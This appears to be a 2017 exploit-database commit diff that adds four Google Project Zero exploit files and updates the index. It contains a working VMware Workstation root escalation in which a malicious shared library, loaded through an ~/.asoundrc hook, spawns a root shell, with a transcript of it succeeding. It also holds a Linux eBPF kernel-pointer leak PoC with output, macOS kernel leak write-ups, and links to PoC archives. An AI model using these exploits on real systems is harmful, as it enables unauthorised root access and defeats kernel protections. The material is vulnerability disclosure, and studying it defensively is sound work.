DB: 2017-05-23

4 new exploits

Apple macOS - '32-bit syscall exit' Kernel Register Leak
Apple macOS - 'stackshot' Raw Frame Pointers
Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer

VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation

Joomla! 3.7.0 - 'com_fields' SQL Injection
Joomla! 3.7.0 - 'com_fields' SQL Injection (PoC)

files.csv

@@ -5504,6 +5504,9 @@ id,file,description,date,author,platform,type,port
 42021,platforms/windows/dos/42021.txt,"Microsoft Windows - Running Object Table Register ROTFLAGS_ALLOWANYCLIENT Privilege Escalation",2017-05-17,"Google Security Research",windows,dos,0
 42027,platforms/multiple/dos/42027.html,"Mozilla Firefox 50 < 55 - Stack Overflow Denial of Service",2017-05-17,"Geeknik Labs",multiple,dos,0
 42040,platforms/windows/dos/42040.py,"Sure Thing Disc Labeler 6.2.138.0 - Buffer Overflow (PoC)",2017-05-19,"Chance Johnson",windows,dos,0
+42046,platforms/macos/dos/42046.txt,"Apple macOS - '32-bit syscall exit' Kernel Register Leak",2017-05-22,"Google Security Research",macos,dos,0
+42047,platforms/macos/dos/42047.txt,"Apple macOS - 'stackshot' Raw Frame Pointers",2017-05-22,"Google Security Research",macos,dos,0
+42048,platforms/linux/dos/42048.c,"Linux Kernel 4.11 - eBPF Verifier Log Leaks Lower Half of map Pointer",2017-05-22,"Google Security Research",linux,dos,0
 3,platforms/linux/local/3.c,"Linux Kernel 2.2.x / 2.4.x (RedHat) - 'ptrace/kmod' Privilege Escalation",2003-03-30,"Wojciech Purczynski",linux,local,0
 4,platforms/solaris/local/4.c,"Sun SUNWlldap Library Hostname - Buffer Overflow",2003-04-01,Andi,solaris,local,0
 12,platforms/linux/local/12.c,"Linux Kernel < 2.4.20 - Module Loader Privilege Escalation",2003-04-14,KuRaK,linux,local,0
@@ -8996,6 +8999,7 @@ id,file,description,date,author,platform,type,port
 41995,platforms/linux/local/41995.c,"Linux Kernel 3.11 < 4.8 0 - 'SO_SNDBUFFORCE' & 'SO_RCVBUFFORCE' Local Privilege Escalation",2017-03-22,"Andrey Konovalov",linux,local,0
 41999,platforms/linux/local/41999.txt,"Linux Kernel 3.x (Ubuntu 14.04 / Mint 17.3 / Fedora 22) - Double-free usb-midi SMEP Local Privilege Escalation",2016-02-22,"Andrey Konovalov",linux,local,0
 42020,platforms/windows/local/42020.cpp,"Microsoft Windows - COM Aggregate Marshaler/IRemUnknown2 Type Confusion Privilege Escalation",2017-05-17,"Google Security Research",windows,local,0
+42045,platforms/linux/local/42045.c,"VMware Workstation for Linux 12.5.2 build-4638234 - ALSA Config Host Root Privilege Escalation",2017-05-22,"Google Security Research",linux,local,0
 1,platforms/windows/remote/1.c,"Microsoft IIS - WebDAV 'ntdll.dll' Remote Exploit",2003-03-23,kralor,windows,remote,80
 2,platforms/windows/remote/2.c,"Microsoft IIS 5.0 - WebDAV Remote Exploit (PoC)",2003-03-24,RoMaNSoFt,windows,remote,80
 5,platforms/windows/remote/5.c,"Microsoft Windows - RPC Locator Service Remote Exploit",2003-04-03,"Marcin Wolak",windows,remote,139
@@ -37874,7 +37878,7 @@ id,file,description,date,author,platform,type,port
 42013,platforms/hardware/webapps/42013.txt,"Trend Micro InterScan Web Security Virtual Appliance (IWSVA) 6.5 SP2 - Multiple Vulnerabilities",2017-01-12,SlidingWindow,hardware,webapps,0
 42028,platforms/xml/webapps/42028.txt,"INFOR EAM 11.0 Build 201410 - 'filtervalue' SQL Injection",2017-05-17,Yoroi,xml,webapps,0
 42029,platforms/xml/webapps/42029.txt,"INFOR EAM 11.0 Build 201410 - Persistent Cross-Site Scripting via Comment Fields",2017-05-17,Yoroi,xml,webapps,0
-42033,platforms/php/webapps/42033.txt,"Joomla! 3.7.0 - 'com_fields' SQL Injection",2017-05-19,"Mateus Lino",php,webapps,80
+42033,platforms/php/webapps/42033.txt,"Joomla! 3.7.0 - 'com_fields' SQL Injection (PoC)",2017-05-19,"Mateus Lino",php,webapps,80
 42034,platforms/java/webapps/42034.txt,"Oracle PeopleSoft - Server-Side Request Forgery",2017-05-19,ERPScan,java,webapps,0
 42035,platforms/php/webapps/42035.txt,"Belden Garrettcom 6K/10K Switches - Authentication Bypass / Memory Corruption",2017-05-19,"David Tomaschik",php,webapps,0
 42036,platforms/xml/webapps/42036.txt,"SAP Business One for Android 1.2.3 - XML External Entity Injection",2017-05-19,"Ravindra Singh Rathore",xml,webapps,0

platforms/linux/dos/42048.c

@@ -0,0 +1,120 @@
+/*
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1251
+
+When the eBPF verifier (kernel/bpf/verifier.c) runs in verbose mode,
+it dumps all processed instructions to a user-accessible buffer in
+human-readable form using print_bpf_insn(). For instructions with
+class BPF_LD and mode BPF_IMM, it prints the raw 32-bit value:
+
+  } else if (class == BPF_LD) {
+    if (BPF_MODE(insn->code) == BPF_ABS) {
+      [...]
+    } else if (BPF_MODE(insn->code) == BPF_IND) {
+      [...]
+    } else if (BPF_MODE(insn->code) == BPF_IMM) {
+      verbose("(%02x) r%d = 0x%x\n",
+              insn->code, insn->dst_reg, insn->imm);
+    } else {
+      [...]
+    }
+  } else if (class == BPF_JMP) {
+
+This is done in do_check(), after replace_map_fd_with_map_ptr() has
+executed. replace_map_fd_with_map_ptr() stores the lower half of a raw
+pointer in all instructions with class BPF_LD, mode BPF_IMM and size
+BPF_DW (map references).
+
+So when verbose verification is performed on a program with a map
+reference, the lower half of the pointer to the map becomes visible to
+the user:
+
+$ cat bpf_pointer_leak_poc.c
+*/
+
+#define _GNU_SOURCE
+#include <unistd.h>
+#include <sys/syscall.h>
+#include <linux/bpf.h>
+#include <err.h>
+#include <stdio.h>
+#include <stdint.h>
+
+#define BPF_LD_IMM64_RAW(DST, SRC, IMM)         \
+  ((struct bpf_insn) {                          \
+    .code  = BPF_LD | BPF_DW | BPF_IMM,         \
+    .dst_reg = DST,                             \
+    .src_reg = SRC,                             \
+    .off   = 0,                                 \
+    .imm   = (__u32) (IMM) }),                  \
+  ((struct bpf_insn) {                          \
+    .code  = 0, /* zero is reserved opcode */   \
+    .dst_reg = 0,                               \
+    .src_reg = 0,                               \
+    .off   = 0,                                 \
+    .imm   = ((__u64) (IMM)) >> 32 })
+#define BPF_LD_MAP_FD(DST, MAP_FD)              \
+  BPF_LD_IMM64_RAW(DST, BPF_PSEUDO_MAP_FD, MAP_FD)
+#define BPF_MOV64_IMM(DST, IMM)                 \
+  ((struct bpf_insn) {                          \
+    .code  = BPF_ALU64 | BPF_MOV | BPF_K,       \
+    .dst_reg = DST,                             \
+    .src_reg = 0,                               \
+    .off   = 0,                                 \
+    .imm   = IMM })
+#define BPF_EXIT_INSN()                         \
+  ((struct bpf_insn) {                          \
+    .code  = BPF_JMP | BPF_EXIT,                \
+    .dst_reg = 0,                               \
+    .src_reg = 0,                               \
+    .off   = 0,                                 \
+    .imm   = 0 })
+
+#define ARRSIZE(x) (sizeof(x) / sizeof((x)[0]))
+
+int bpf_(int cmd, union bpf_attr *attrs) {
+  return syscall(__NR_bpf, cmd, attrs, sizeof(*attrs));
+}
+
+int main(void) {
+  union bpf_attr create_map_attrs = {
+    .map_type = BPF_MAP_TYPE_ARRAY,
+    .key_size = 4,
+    .value_size = 1,
+    .max_entries = 1
+  };
+  int mapfd = bpf_(BPF_MAP_CREATE, &create_map_attrs);
+  if (mapfd == -1)
+    err(1, "map create");
+
+  struct bpf_insn insns[] = {
+    BPF_LD_MAP_FD(BPF_REG_0, mapfd),
+    BPF_MOV64_IMM(BPF_REG_0, 0),
+    BPF_EXIT_INSN()
+  };
+  char verifier_log[10000];
+  union bpf_attr create_prog_attrs = {
+    .prog_type = BPF_PROG_TYPE_SOCKET_FILTER,
+    .insn_cnt = ARRSIZE(insns),
+    .insns = (uint64_t)insns,
+    .license = (uint64_t)"",
+    .log_level = 1,
+    .log_size = sizeof(verifier_log),
+    .log_buf = (uint64_t)verifier_log
+  };
+  int progfd = bpf_(BPF_PROG_LOAD, &create_prog_attrs);
+  if (progfd == -1)
+    err(1, "prog load");
+
+  puts(verifier_log);
+}
+
+/*
+$ gcc -o bpf_pointer_leak_poc bpf_pointer_leak_poc.c -Wall -std=gnu99 -I~/linux/usr/include
+$ ./bpf_pointer_leak_poc 
+0: (18) r0 = 0xd9da1c80
+2: (b7) r0 = 0
+3: (95) exit
+processed 3 insns
+
+Tested with kernel 4.11.
+*/

platforms/linux/local/42045.c

@@ -0,0 +1,81 @@
+/*
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1142
+
+This vulnerability permits an unprivileged user on a Linux machine on
+which VMWare Workstation is installed to gain root privileges.
+
+The issue is that, for VMs with audio, the privileged VM host
+process loads libasound, which parses ALSA configuration files,
+including one at ~/.asoundrc. libasound is not designed to run in a
+setuid context and deliberately permits loading arbitrary shared
+libraries via dlopen().
+
+To reproduce, run the following commands on a normal Ubuntu desktop
+machine with VMWare Workstation installed:
+
+
+~$ cd /tmp
+/tmp$ cat > evil_vmware_lib.c
+*/
+
+#define _GNU_SOURCE
+#include <stdlib.h>
+#include <string.h>
+#include <stdio.h>
+#include <unistd.h>
+#include <fcntl.h>
+#include <sys/prctl.h>
+#include <err.h>
+
+extern char *program_invocation_short_name;
+
+__attribute__((constructor)) void run(void) {
+	if (strcmp(program_invocation_short_name, "vmware-vmx"))
+		return;
+
+	uid_t ruid, euid, suid;
+	if (getresuid(&ruid, &euid, &suid))
+		err(1, "getresuid");
+	printf("current UIDs: %d %d %d\n", ruid, euid, suid);
+	if (ruid == 0 || euid == 0 || suid == 0) {
+		if (setresuid(0, 0, 0) || setresgid(0, 0, 0))
+			err(1, "setresxid");
+		printf("switched to root UID and GID");
+		system("/bin/bash");
+		_exit(0);
+	}
+}
+
+/*
+/tmp$ gcc -shared -o evil_vmware_lib.so evil_vmware_lib.c -fPIC -Wall -ldl -std=gnu99
+/tmp$ cat > ~/.asoundrc
+hook_func.pulse_load_if_running {
+        lib "/tmp/evil_vmware_lib.so"
+        func "conf_pulse_hook_load_if_running"
+}
+/tmp$ vmware
+
+
+Next, in the VMWare Workstation UI, open a VM with a virtual sound
+card and start it. Now, in the terminal, a root shell will appear:
+
+
+/tmp$ vmware
+current UIDs: 1000 1000 0
+bash: cannot set terminal process group (13205): Inappropriate ioctl for device
+bash: no job control in this shell
+~/vmware/Debian 8.x 64-bit# id
+uid=0(root) gid=0(root) groups=0(root),[...]
+~/vmware/Debian 8.x 64-bit# 
+
+
+I believe that the ideal way to fix this would be to run all code that
+doesn't require elevated privileges - like the code for sound card
+emulation - in an unprivileged process. However, for now, moving only
+the audio output handling into an unprivileged process might also do
+the job; I haven't yet checked whether there are more libraries VMWare
+Workstation loads that permit loading arbitrary libraries into the
+vmware-vmx process.
+
+Tested with version: 12.5.2 build-4638234, running on Ubuntu 14.04.
+*/

platforms/macos/dos/42046.txt

@@ -0,0 +1,57 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1149
+
+The XNU kernel, when compiled for a x86-64 CPU, can run 32-bit x86
+binaries in compatibility mode. 32-bit binaries use partly separate
+syscall entry and exit paths.
+
+To return to userspace, unix_syscall() in bsd/dev/i386/systemcalls.c
+calls thread_exception_return() (in osfmk/x86_64/locore.s), which in
+turn calls return_from_trap, which is implemented in
+osfmk/x86_64/idt64.s.
+
+return_from_trap() normally branches into return_to_user relatively
+quickly, which then, depending on the stack segment selector, branches
+into either L_64bit_return or L_32bit_return. While the L_64bit_return
+path restores all userspace registers, the L_32bit_return path only
+restores the registers that are accessible in compatibility mode; the
+registers r8 to r15 are not restored.
+
+This is bad because, although switching to compatibility mode makes it
+impossible to directly access r8..r15, the register contents are
+preserved, and switching back to 64-bit mode makes the 64-bit
+registers accessible again. Since the GDT always contains user code
+segments for both compatibility mode and 64-bit mode, an unprivileged
+32-bit process can leak kernel register contents as follows:
+
+ - make a normal 32-bit syscall
+ - switch to 64-bit mode (e.g. by loading the 64-bit user code segment
+   using iret)
+ - store the contents of r8..r15
+ - switch back to compatibility mode (e.g. by loading the 32-bit user
+   code segment using iret)
+
+The attached PoC demonstrates the issue by dumping the contents of
+r8..r15. Usage:
+
+$ ./leakregs 
+r8 = 0xffffff801d3872a8
+r9 = 0xffffff8112abbec8
+r10 = 0xffffff801f962240
+r11 = 0xffffff8031d52bb0
+r12 = 0x12
+r13 = 0xffffff80094018f0
+r14 = 0xffffff801cb59ea0
+r15 = 0xffffff801cb59ea0
+
+It seems like these are various types of kernel pointers, including
+kernel text pointers.
+
+If you want to compile the PoC yourself, you'll have to adjust the
+path to nasm in compile.sh, then run ./compile.sh.
+
+This bug was verified using the following kernel version:
+15.6.0 Darwin Kernel Version 15.6.0: Mon Jan  9 23:07:29 PST 2017;
+root:xnu-3248.60.11.2.1~1/RELEASE_X86_64 x86_64
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42046.zip

platforms/macos/dos/42047.txt

@@ -0,0 +1,28 @@
+Source: https://bugs.chromium.org/p/project-zero/issues/detail?id=1164
+
+This is an issue that allows unentitled root to read kernel frame
+pointers, which might be useful in combination with a kernel memory
+corruption bug.
+
+By design, the syscall stack_snapshot_with_config() permits unentitled
+root to dump information about all user stacks and kernel stacks.
+While a target thread, along with the rest of the system, is frozen,
+machine_trace_thread64() dumps its kernel stack.
+machine_trace_thread64() walks up the kernel stack using the chain of
+saved RBPs. It dumps the unslid kernel text pointers together with
+unobfuscated frame pointers.
+
+The attached PoC dumps a stackshot into the file stackshot_data.bin
+when executed as root. The stackshot contains data like this:
+
+00000a70  de 14 40 00 80 ff ff ff  a0 be 08 77 80 ff ff ff  |..@........w....|
+00000a80  7b b8 30 00 80 ff ff ff  20 bf 08 77 80 ff ff ff  |{.0..... ..w....|
+00000a90  9e a6 30 00 80 ff ff ff  60 bf 08 77 80 ff ff ff  |..0.....`..w....|
+00000aa0  5d ac 33 00 80 ff ff ff  b0 bf 08 77 80 ff ff ff  |].3........w....|
+
+The addresses on the left are unslid kernel text pointers; the
+addresses on the right are valid kernel stack pointers.
+
+
+Proof of Concept:
+https://github.com/offensive-security/exploit-database-bin-sploits/raw/master/sploits/42047.zip